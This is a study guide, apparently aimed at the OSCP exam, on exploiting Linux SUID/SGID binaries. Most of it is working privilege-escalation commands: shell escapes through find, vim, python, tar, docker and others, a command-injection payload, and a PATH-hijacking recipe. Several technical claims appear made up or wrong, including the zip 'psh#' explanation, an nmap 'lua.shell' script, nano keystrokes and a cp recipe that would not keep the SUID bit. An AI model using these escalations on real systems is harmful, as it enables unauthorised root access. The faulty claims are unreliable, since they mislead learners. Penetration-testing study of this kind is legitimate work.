Domain 4PrivEsc & Password AttacksCORE

SUID/SGID Exploitation

Comprehensive guide to SUID/SGID bit exploitation, covering OS-level mechanics, discovery techniques, top 20+ exploitable binaries from GTFOBins, custom SUID binary analysis, and OSCP exam strategies.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#suid#sgid#gtfobins#privilege-escalation#linux

SUID/SGID Exploitation

1. What Are SUID, SGID, and Sticky Bits?

1.1 File Permission Bits Refresher

Linux file permissions are traditionally represented as a 10-character string:

-rwsr-xr-x  1 root root  12345 Jun 15 10:30 /usr/bin/example
 ^^^^
 | | | |
 | | | +-- Others: read, execute
 | | +---- Group: read, execute
 | +------ Owner: read, write, EXECUTE (s = SUID active)
 +-------- File type: - = regular, d = directory, l = symlink

The special bits occupy the execute position of owner/group/others:

Bit Position Symbol Meaning
SUID Owner execute s (or S if no exec) Set User ID on execution
SGID Group execute s (or S if no exec) Set Group ID on execution
Sticky Others execute t (or T if no exec) Restricts deletion in directories

1.2 Octal Representation

Special bits can also be set using octal notation (4-digit mode):

Octal Prefix Bit Effect
4xxx SUID Process runs as file owner
2xxx SGID Process runs as file group
1xxx Sticky Delete-restrict in directories
6xxx SUID + SGID Both set
# Set SUID on a binary
chmod 4755 /path/to/binary

# Set SGID on a binary
chmod 2755 /path/to/binary

# Set both SUID and SGID
chmod 6755 /path/to/binary

# Remove SUID
chmod u-s /path/to/binary

1.3 How the Kernel Handles SUID Execution

When you execute a SUID binary, the Linux kernel performs the following during execve():

  1. The kernel reads the binary’s file metadata (owner UID, group GID, mode bits).
  2. If the SUID bit is set, the kernel replaces the effective UID (EUID) of the new process with the file owner’s UID.
  3. If the SGID bit is set, the kernel replaces the effective GID (EGID) with the file group’s GID.
  4. The real UID (RUID) and saved set-UID (SUID) remain unchanged.
Before execve (user: www-data, UID 33):
  RUID = 33, EUID = 33, SUID = 33

After execve on SUID root binary:
  RUID = 33, EUID = 0,  SUID = 0
  ^^^^^^^^          ^^^^^^^^
  stays same        elevated!

Key insight: Many programs check EUID (not RUID) to determine privileges. If EUID is 0, the program believes it is root — even though the real user is still www-data. This is the fundamental mechanism behind SUID exploitation.

1.4 UID/GID Model Deep Dive

Linux uses three UID/GID values per process:

Field Description Typical Use
RUID (Real) Who actually invoked the process Logging, auditing
EUID (Effective) What privileges the kernel enforces Access control decisions
SUID (Saved) Backup of the original EUID Allows programs to drop/reclaim privileges

A well-written SUID program will:

  1. Perform privileged operations immediately after execve.
  2. Drop privileges by setting EUID = RUID before processing user input.
  3. Use the saved SUID to temporarily reclaim privileges if needed.

Vulnerable programs skip step 2, leaving EUID elevated while processing untrusted input.


2. Finding SUID/SGID Binaries

2.1 Primary Discovery Commands

# Find ALL SUID binaries (most common)
find / -perm -4000 -type f 2>/dev/null

# Find ALL SGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find SUID binaries owned by root (most interesting)
find / -perm -4000 -type f -user root 2>/dev/null

# Find SGID binaries with root group
find / -perm -2000 -type f -group root 2>/dev/null

# Find both SUID and SGID
find / -perm -6000 -type f 2>/dev/null

# Find SUID binaries that are writable by current user (easy win)
find / -perm -4000 -type f -writable 2>/dev/null

# Find SUID binaries writable by group
find / -perm -4000 -type f -group $(id -gn) -perm -g=w 2>/dev/null

2.2 Quick One-Liners for Exam

# Fast SUID scan (suppress errors, show only path)
find / -perm -4000 -type f 2>/dev/null | grep -v /proc

# Show SUID binaries with human-readable permissions
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# Find SUID binaries modified recently (possibly planted)
find / -perm -4000 -type f -mtime -30 2>/dev/null

3. Default SUID Binaries — Why They’re Normally Safe

These binaries ship with SUID by default on most Linux distributions. They are generally safe because they are well-audited and do not provide shell escapes:

Binary Path Purpose Why Safe
passwd /usr/bin/passwd Change user password Writes to /etc/shadow; no shell escape
sudo /usr/bin/sudo Run commands as another user Controlled by /etc/sudoers; no arbitrary shell
su /bin/su Switch user Requires target user’s password
ping /bin/ping Send ICMP packets Needs raw socket access (root-only capability)
mount /bin/mount Mount filesystems Needs kernel-level mount syscall
umount /bin/umount Unmount filesystems Same as mount
chsh /usr/bin/chsh Change login shell Writes to /etc/passwd; validated input
chfn /usr/bin/chfn Change finger info Writes to /etc/passwd; validated input
newgrp /bin/newgrp Change effective group Requires group password
pkexec /usr/bin/pkexec PolicyKit execution Controlled by policy files
ssh-agent /usr/bin/ssh-agent SSH key management Binds to Unix socket; no shell
traceroute /usr/bin/traceroute Network tracing Needs raw sockets
cp /bin/cp Copy files On some distros has SUID for special mounts

Note: Even “safe” SUID binaries can become exploitable if:

  • A newer version with a known vulnerability is installed.
  • The binary is wrapped or aliased to something else.
  • The binary can be used to overwrite other files (e.g., cp can copy a shell over a SUID binary).

4. GTFOBins — Your Best Friend

GTFOBins (https://gtfobins.github.io) is a community-maintained repository of Unix binaries that can be used to bypass local security restrictions in default configurations.

How to Use GTFOBins During an Exam

  1. Identify the binary you found with SUID.
  2. Search GTFOBins for that binary name.
  3. Check the “Suid” section on the binary’s page.
  4. Copy the exact command — GTFOBins provides tested, working exploits.

GTFOBins Categories

Category Description
Shell Spawn an interactive shell
SUID Preserve/escalate privileges via SUID
SGID Preserve group privileges via SGID
File Upload Upload files to the target
File Write Write arbitrary files
File Read Read arbitrary files
Bypass Allowlists Use when command is in an allowlist

Key GTFOBins SUID Patterns

Many GTFOBins SUID escapes follow one of these patterns:

# Pattern 1: Direct shell spawn
binary --option-that-spawns-shell

# Pattern 2: System() call abuse
binary --option "command"

# Pattern 3: File overwrite
binary --write /path/to/target payload

# Pattern 4: Environment variable injection
ENV_VAR=value binary --option

5. Top 20+ Exploitable SUID Binaries

5.1 Shell Spawning Binaries

find

# Method 1: exec with shell
find . -exec /bin/sh -p \; -quit

# Method 2: ok variant (interactive)
find . -ok /bin/sh -p \;

# Method 3: using -execdir
find . -execdir /bin/sh -p \; -quit

Why -p? The -p flag tells /bin/sh to enable privileged mode (preserve SUID). Without it, bash drops privileges.

vim / vi

# Launch vim with SUID
vim

# Inside vim, type:
:!/bin/sh

# Or in visual mode:
:set shell=/bin/sh
:shell

# Alternative with -p for preserved privileges
vim -c ':!/bin/sh -p'

nmap

# Nmap 7.x interactive mode
nmap --interactive

# Once in nmap interactive shell:
nmap> !sh

# Scripting engine method (newer nmap)
nmap --script="lua.shell" --script-args="lua.shell.interactive=true"

less / more / man

# less
less /etc/passwd
!/bin/sh -p

# more
more /etc/passwd
!/bin/sh -p

# man (opens via less internally)
man man
!/bin/sh -p

# After shell exits, type 'q' to return to less, then 'q' again to exit

bash

# If bash has SUID bit set:
bash -p

# The -p flag enables privileged mode:
# - Sets -p option (privileged mode)
# - Disables shell expansion of environment variables
# - Ignores ENV and BASH_ENV if not secure
# - Preserves EUID throughout execution

# Without -p, bash explicitly drops SUID:
# "If the shell is started with the effective user (group) id not
#  equal to the real id (group id) and the -p flag is not supplied,
#  the effective id is set to the real id."

awk

# Method 1: system() call
awk 'BEGIN {system("/bin/sh -p")}'

# Method 2: printf + pipe (if system is blocked)
awk 'BEGIN {printf "/bin/sh -p" | system("cat")}'

perl

# Method 1: exec
perl -e 'exec "/bin/sh -p";'

# Method 2: system
perl -e 'system("/bin/sh -p");'

# Method 3: POSIX setuid
perl -e 'use POSIX; setuid(0); system("/bin/sh");'

python3 / python

# Method 1: os.execl (recommended — replaces process)
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'

# Method 2: os.system
python3 -c 'import os; os.system("/bin/sh -p")'

# Method 3: subprocess
python3 -c 'import subprocess; subprocess.call(["/bin/sh","-p"])'

# Method 4: pty for interactive shell
python3 -c 'import os,pty; os.setuid(0); pty.spawn("/bin/sh")'

ruby

# Method 1: exec
ruby -e 'exec "/bin/sh -p"'

# Method 2: system
ruby -e 'system("/bin/sh -p")'

# Method 3: backticks
ruby -e '`/bin/sh -p`'

git

# Method 1: help with pager
GIT_PAGER=vi git -p help
# Then in vi: :!/bin/sh -p

# Method 2: direct pager escape
git help config
# Press ! to spawn shell

# Method 3: hook-based
mkdir -p .git/hooks
echo '#!/bin/sh
/bin/sh -p 0<&1 1>&2-' > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git commit

nano

# Launch nano with SUID
nano

# Press Ctrl+R then Ctrl+6
# This enables "Read Normal File" mode

# Type:
/bin/sh -p

# Press Enter, then Ctrl+T to execute

strace

# strace attaches to a process and can spawn a shell
strace /bin/sh -p

# The spawned shell inherits the SUID privileges

env

# env can execute commands with modified environment
env /bin/sh -p

# This works because env executes the target binary,
# and the SUID bit causes EUID to be set to root

5.2 File and Archive Utilities

tar

# Method 1: checkpoint action
tar --checkpoint=1 --checkpoint-action=exec=/bin/sh -cf /dev/null /dev/null

# Method 2: using -C and wildcard
tar cf /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh .

# The checkpoint feature triggers after processing N files.
# Setting checkpoint=1 triggers after every file.

zip

# zip's test (-T) with timeout (-TT) spawns a shell
zip /tmp/payload.zip /etc/hosts -T -TT psh#

# psh# is interpreted as a shell command prefix
# The # starts a comment in zip's parsing, but the shell executes "psh"
# which falls through to spawning /bin/sh

cp

# Copy a known shell to a location and set SUID
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh

# Or overwrite an existing SUID binary
cp /bin/bash /usr/local/bin/bash.suid
chmod 4755 /usr/local/bin/bash.suid

5.3 Advanced and Specialized Binaries

docker

# If docker CLI has SUID or user has docker group access:
docker run -v /:/host -i -t ubuntu chroot /host /bin/sh

# Or mount and access directly:
docker run --rm -v /:/mnt -i -t ubuntu
# Inside container:
cd /mnt
chroot /mnt /bin/sh

journalctl

# journalctl uses a pager (usually less) which allows shell escape
journalctl

# Press '!' to spawn shell
!/bin/sh -p

# Or set PAGER to a shell:
PAGER='/bin/sh -p' journalctl

nohup

# nohup preserves the environment and can execute commands
nohup /bin/sh -p &

# If nohup is SUID, the spawned shell inherits root EUID

zip (alternative)

# Create a zip and abuse the test feature
zip /tmp/exploit.zip /etc/hostname -T -TT '/bin/sh -p#'

bashdrop (custom)

# If you can write to a directory that a SUID binary reads from:
echo '#!/bin/sh
/bin/sh -p' > /path/to/writable/script
chmod +x /path/to/writable/script

5.4 Summary Table of Exploitable SUID Binaries

Binary Command Reliability Notes
find find . -exec /bin/sh -p \; -quit ★★★★★ Works on all versions
vim :!/bin/sh ★★★★★ Needs vim installed
nmap --interactive → !sh ★★★★☆ Nmap 7.x only
python3 os.execl("/bin/sh","sh","-p") ★★★★★ Needs python3
bash bash -p ★★★★★ Only if bash itself is SUID
less !/bin/sh -p ★★★★★ Pager escape
more !/bin/sh -p ★★★★★ Pager escape
man !/bin/sh -p ★★★★★ Uses less internally
awk BEGIN{system("/bin/sh")} ★★★★☆ Needs awk
perl exec "/bin/sh" ★★★★★ Needs perl
ruby exec "/bin/sh" ★★★★★ Needs ruby
git git -p help → !sh ★★★★☆ Needs git
tar --checkpoint=1 --checkpoint-action=exec=/bin/sh ★★★★☆ GNU tar only
zip -T -TT psh# ★★★☆☆ Version dependent
nano Ctrl+R Ctrl+6 → /bin/sh ★★★★☆ nano 4.x+
strace strace /bin/sh -p ★★★★☆ Needs strace
env env /bin/sh -p ★★★★★ Simple and reliable
docker docker run -v /:/host ... ★★★★★ Needs docker access
journalctl !/bin/sh -p ★★★★☆ Systemd systems only
cp Copy + chmod +s ★★★☆☆ Needs write access
nohup nohup /bin/sh -p & ★★★☆☆ Version dependent
lua os.execute("/bin/sh") ★★★★☆ Needs lua
gdb gdb -nx -ex 'python import os; os.execl("/bin/sh","sh","-p")' -ex quit ★★★★☆ Needs gdb

6. Why Bash Drops SUID and the -p Flag

6.1 The Bash SUID Protection

Bash has built-in protection against SUID abuse. From the bash man page:

“If the shell is started with the effective user (group) id not equal to the real id (group id) and the -p flag is not supplied, the effective id is set to the real id. If the -p flag is supplied at startup, the effective id is not changed.”

6.2 What This Means in Practice

# Scenario: /usr/bin/mysuid is owned by root, has SUID bit
# You run it, and it internally calls bash:

# Without -p (DEFAULT — bash drops privileges):
mysuid → bash
  RUID = 1000 (www-data), EUID = 0 (root from SUID)
  bash detects EUID != RUID → sets EUID = RUID = 1000
  Result: You get a shell, but as www-data, NOT root

# With -p (privileged mode — bash preserves privileges):
mysuid → bash -p
  RUID = 1000, EUID = 0
  bash sees -p flag → keeps EUID = 0
  Result: You get a ROOT shell

6.3 The -p Flag Behavior

When bash -p is used:

Behavior Without -p With -p
EUID preservation Dropped to RUID Preserved
ENV / BASH_ENV Processed Ignored (if not secure)
Shell functions Inherited from environment Not inherited
cd to SUID dirs Follows SUID Follows SUID
Trap handling Normal Restricted

6.4 Other Shells and SUID

Shell SUID Behavior
bash Drops SUID unless -p is used
dash Preserves SUID by default (Debian default /bin/sh)
zsh Drops SUID by default (like bash)
sh (symlink to bash) Same as bash
sh (symlink to dash) Preserves SUID

Exam tip: On Debian/Ubuntu, /bin/sh → dash → preserves SUID. On RHEL/CentOS, /bin/sh → bash → drops SUID. Always use -p to be safe.


7. Custom SUID Binary Analysis

When you encounter a SUID binary that is NOT in GTFOBins, you need to analyze it manually.

7.1 Initial Reconnaissance

# Check file type
file /path/to/suid_binary

# Look for strings (hardcoded paths, commands, error messages)
strings /path/to/suid_binary

# Check if it's stripped
file /path/to/suid_binary
# "stripped" = no symbols, harder to analyze
# "not stripped" = symbols available, easier to analyze

# Check dynamic libraries
ldd /path/to/suid_binary

# Check file permissions and ownership
ls -la /path/to/suid_binary

# Check if you can write to it
test -w /path/to/suid_binary && echo "WRITABLE" || echo "Not writable"

7.2 Dynamic Analysis with ltrace

# Trace library function calls
ltrace -e 'system,exec,execve,popen' /path/to/suid_binary

# This shows you what system() calls the binary makes
# Example output:
# system("ls -la /home/user")@12345 = 0

7.3 Static Analysis with objdump

# Disassemble the binary
objdump -d /path/to/suid_binary > disasm.txt

# Look for interesting function references
objdump -R /path/to/suid_binary | grep -E 'system|exec|popen|open|read'

# Check the read-only data section
objdump -s -j .rodata /path/to/suid_binary

7.4 Interactive Debugging with GDB

# Launch GDB with the SUID binary
gdb -q /path/to/suid_binary

# Inside GDB:
(gdb) break main
(gdb) run
(gdb) continue
(gdb) step
(gdb) print $rax          # Check register values
(gdb) x/s $rax            # Examine string at address
(gdb) disassemble         # Disassemble current function
(gdb) info functions      # List all functions
(gdb) break system        # Break on system() calls
(gdb) continue

7.5 Common Vulnerability Patterns in Custom SUID Binaries

Pattern 1: system() with User Input

// VULNERABLE — user input passed directly to system()
void vulnerable(char *input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "grep %s /etc/passwd", input);
    system(cmd);  // User can inject: ; /bin/sh -p
}

// Exploit:
./vulnerable "; /bin/sh -p #"

Pattern 2: popen() with User Input

// VULNERABLE — same issue as system()
FILE *fp = popen(("ls " + user_input).c_str(), "r");

Pattern 3: execve() with PATH Manipulation

// VULNERABLE — uses relative path, subject to PATH hijacking
execve("./helper", args, envp);
// or
execve("cat", args, envp);  // No full path!

// Exploit:
export PATH=/tmp:$PATH
cp /bin/sh /tmp/cat
./vulnerable

Pattern 4: getenv() for Configuration

// VULNERABLE — reads config from environment
char *config = getenv("APP_CONFIG");
// If config path is used in file operations, you can redirect

// Exploit:
export APP_CONFIG=/tmp/controlled_config
./vulnerable

Pattern 5: Temporary File Race Conditions

// VULNERABLE — predictable temp file
tmpfile = "/tmp/outputXXXXXX";
mkstemp(tmpfile);
// Another process can symlink /tmp/output* to /etc/passwd

// Exploit: Symlink attack on predictable temp file

7.6 Analysis Decision Flow

SUID Binary Found
       │
       ▼
  Is it in GTFOBins? ───Yes──► Use GTFOBins command
       │
      No
       │
       ▼
  Can you write to it? ──Yes──► Replace with /bin/bash, chmod 4755
       │
      No
       │
       ▼
  strings / binary │
       │
       ▼
  Contains system()/execve()? ──Yes──► Test command injection
       │
      No
       │
       ▼
  ltrace / gdb analysis │
       │
       ▼
  Find vulnerability pattern │
       │
       ▼
  Exploit or move on

8. SUID Exploitation Decision Tree

                    ┌─────────────────────┐
                    │  Found SUID Binary  │
                    └─────────┬───────────┘
                              │
                    ┌─────────▼───────────┐
                    │  Binary in GTFOBins? │
                    └───┬────────────┬────┘
                      Yes│            │No
                         │            │
            ┌────────────▼──────┐    │
            │ Use GTFOBins      │    │
            │ command directly  │    │
            └───────────────────┘    │
                                     │
                    ┌────────────────▼───────────────┐
                    │  Can you write to the binary?   │
                    └────┬──────────────────┬────────┘
                       Yes│                  │No
                          │                  │
            ┌─────────────▼────────┐        │
            │ cp /bin/bash .       │        │
            │ chmod 4755 .         │        │
            │ Execute for root     │        │
            └──────────────────────┘        │
                                            │
                    ┌───────────────────────▼───────────────┐
                    │  strings / ltrace / gdb analysis       │
                    └───────────────────────┬───────────────┘
                                            │
                    ┌───────────────────────▼───────────────┐
                    │  Vulnerable function calls found?      │
                    └───┬────────────────┬──────────────────┘
                      Yes│                │No
                         │                │
            ┌────────────▼──────┐    ┌───▼──────────────┐
            │ Exploit the       │    │ Try other privesc│
            │ vulnerability     │    │ techniques       │
            └───────────────────┘    └──────────────────┘

9. Mitigation Strategies

9.1 Removing SUID Bits

# Remove SUID from a specific binary
chmod u-s /path/to/binary

# Remove SUID from all SUID binaries (nuclear option)
find / -perm -4000 -type f -exec chmod u-s {} \;

# Remove SGID from all SGID binaries
find / -perm -2000 -type f -exec chmod g-s {} \;

9.2 Using noexec Mount Option

# Mount /tmp and /var/tmp with noexec
mount -o remount,noexec /tmp
mount -o remount,noexec /var/tmp

# Add to /etc/fstab for persistence:
# tmpfs   /tmp    tmpfs   defaults,noexec,nosuid,nodev   0 0

9.3 Linux Capabilities Instead of SUID

# Instead of full SUID root, grant minimal capabilities
setcap cap_net_raw+ep /bin/ping
setcap cap_dac_read_search+ep /usr/bin/myapp

# Check capabilities
getcap /bin/ping
# Output: /bin/ping = cap_net_raw+ep

# Remove all capabilities
setcap -r /path/to/binary

9.4 File Integrity Monitoring

# Use AIDE or Tripwire to detect SUID changes
aide --init
aide --check

# Or use inotifywait for real-time monitoring
inotifywait -m -e modify,attrib /usr/bin/ /usr/sbin/

10. OSCP Exam Tips

10.1 Must-Do Checklist

# 1. Always run this immediately after getting a shell:
find / -perm -4000 -type f 2>/dev/null

# 2. Cross-reference with GTFOBins (have it bookmarked)
# 3. Check for writable SUID binaries:
find / -perm -4000 -type f -writable 2>/dev/null

# 4. Check for non-default SUID binaries:
find / -perm -4000 -type f 2>/dev/null | grep -vE '(passwd|sudo|su|ping|mount|umount|chsh|chfn|newgrp|pkexec|ssh-agent|traceroute|dbus|unix_chkpwd|certutil|gpg-agent|passwd)'

10.2 Common Exam SUID Scenarios

Scenario What to Look For Exploit
Custom binary in /opt/ Run strings, ltrace Command injection
Python with SUID Check if python3 is SUID os.execl("/bin/sh","sh","-p")
Nmap installed Check nmap version --interactive → !sh
Vim installed Check if vim has SUID :!/bin/sh
Find with SUID Rare but possible find . -exec /bin/sh -p \;
Writable SUID binary find ... -writable Replace with bash

10.3 Time Management

  • SUID check: ~2 minutes (run the find command)
  • GTFOBins lookup: ~1-2 minutes per binary
  • Custom binary analysis: 5-15 minutes (use ltrace first, it’s fastest)
  • If stuck on SUID after 15 min: Move to another technique

10.4 Quick Reference Card

# THE ESSENTIAL SUID ONE-PAGER

# Discovery
find / -perm -4000 -type f 2>/dev/null

# Quick wins (try these first)
find . -exec /bin/sh -p \; -quit          # find
vim -c ':!/bin/sh -p'                      # vim
python3 -c 'import os;os.execl("/bin/sh","sh","-p")'  # python
perl -e 'exec "/bin/sh -p"'                # perl
ruby -e 'exec "/bin/sh -p"'                # ruby
nmap --interactive                          # nmap → !sh
awk 'BEGIN{system("/bin/sh -p")}'           # awk
less /etc/passwd                            # less → !/bin/sh -p
env /bin/sh -p                              # env
bash -p                                     # bash (if SUID)

# Analysis tools
strings /path/to/binary
ltrace /path/to/binary
file /path/to/binary
gdb -q /path/to/binary

10.5 Remember

  1. sudo -l and SUID enumeration are your two highest-ROI checks on the exam.
  2. GTFOBins is your best reference — know how to use it quickly.
  3. The -p flag is critical for bash/shell preservation of privileges.
  4. ltrace is often faster than gdb for finding system() calls.
  5. If a SUID binary is writable, replace it — simplest exploit possible.